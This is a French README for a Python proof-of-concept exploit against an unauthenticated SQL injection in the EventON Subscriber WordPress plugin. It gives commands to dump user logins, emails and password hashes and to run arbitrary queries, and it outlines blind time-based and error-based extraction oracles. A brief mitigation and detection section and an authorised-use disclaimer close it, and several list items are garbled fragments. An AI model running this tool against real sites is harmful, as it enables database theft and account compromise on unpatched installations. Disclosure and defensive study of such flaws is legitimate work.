
Preuve de concept en Python pour CVE-2026-93300, une injection SQL non authentifiée dans le plugin WordPress EventON Subscriber ; identifie le gestionnaire AJAX et extrait les données de la base via des oracles temporels.
Preuve de concept en Python pour CVE-2026-93300 : injection SQL non authentifiée via le paramètre email dans l'extension WordPress EventON - Subscriber (Wordfence, CVSS 7.5 Élevé).
| CVE | CVE-2026-93300 |
| Extension | EventON - Subscriber (eventon-subscriber) |
| Affectées | toutes les versions ≤ 1.4.5 |
| Version corrigée | aucune publiée (au 2026-10) |
| Vecteur | POST /wp-admin/admin-ajax.php, action=evosub_new_subscriber, paramètre email |
| Authentification | aucune (non authentifiée) |
| CWE | CWE-89 Injection SQL |
Le gestionnaire AJAX du formulaire d'abonnement (evosub_new_subscriber, enregistré avec wp_ajax_nopriv_, accessible depuis le formulaire public du front-end dans assets/evosub_script.js) construit une requête SQL existante en utilisant la valeur email fournie par l'utilisateur sans $wpdb->prepare() ni échappement approprié. La valeur atteint la requête sans échappement, de sorte qu'un attaquant peut sortir du littéral de chaîne et ajouter/modifier la requête pour lire des données arbitraires de la base de données.
L'expression régulière de validation de l'e-mail côté client dans evosub_script.js est le seul contrôle de format dans le navigateur ; elle n'offre aucune protection côté serveur.
# 1. Detect only (fingerprint handler, find working injection oracle)
python3 cve_2026_93300.py --url https://target.example --mode check
# 2. Dump wp_users (login / email / password hash)
python3 cve_2026_93300.py --url https://target.example --mode users --prefix wp_
# 3. Extract any scalar query result
python3 cve_2026_93300.py --url https://target.example --mode sql \
--sql "SELECT option_value FROM wp_options WHERE option_name='admin_email'"
| Option | Valeur par défaut | Description |
|---|---|---|
--mode | check | check / users / sql |
--action | evosub_new_subscriber | action AJAX à tester |
--param | email | paramètre injecté |
--prefix | wp_ | préfixe de table WordPress |
--sql | — | SELECT scalaire pour --mode sql |
--delay | 2.0 | secondes de SLEEP() pour l'oracle temporel |
--timeout | 25 | délai d'expiration HTTP |
--max-id | 15 | ID utilisateur le plus élevé à analyser |
--proxy / --insecure / --ua | — | proxy HTTP / ignorer la vérification TLS / UA personnalisé |
action=evosub_new_subscriber à une action non enregistrée (0 / HTTP 400) pour confirmer que le gestionnaire est présent et actif.', ", \) → si les erreurs SQL sont reflétées (WP_DEBUG), un oracle basé sur les erreurs est utilisé (le plus rapide, une seule requête par bit) ;SLEEP() → oracle union-time (une évaluation par sonde, pas de ralentissement par ligne) ;;SELECT SLEEP(...)) → oracle stacked-time si le pilote autorise les multi-instructions ;OR/AND/paren/concat SLEEP) → oracle template-time en repli.1=1 → vrai et 1=0 → faux (de manière répétée) avant le début de l'extraction, ce qui filtre les faux positifs provenant de cibles lentes/instables.LENGTH() et ASCII(SUBSTRING(...)) (7 requêtes par caractère).--mode check se termine par une extraction de contrôle de user_login@USER() pour prouver l'accès aux données.
poc*@example.invalid dans le type de publication evo-subscriber ; elles sont visibles sous Events → All Subscribers et peuvent être mises à la corbeille.email côté serveur avec un filtre strict, toutes les sondes se comportent de manière identique et l'outil signale non vulnérable / entrée validée.admin-ajax.php est défaillant (erreur fatale sur la requête de référence) sont signalées comme non saines et l'exécution est interrompue.SELECT (contexte INSERT/UPDATE) sont détectées mais peuvent ne disposer d'aucun oracle temporel fonctionnel.--delay ≥ 1.0 sur des cibles réelles ; des délais très faibles produisent des faux négatifs sur les liaisons à forte latence.email (et toutes les entrées de requête) avec $wpdb->prepare() / esc_sql() ; validez avec is_email() côté serveur.admin-ajax.php dont la valeur email contient des métacaractères SQL (', ", \, --, ;, UNION).Uniquement pour les tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est illégal. Il vous incombe de respecter toutes les lois applicables.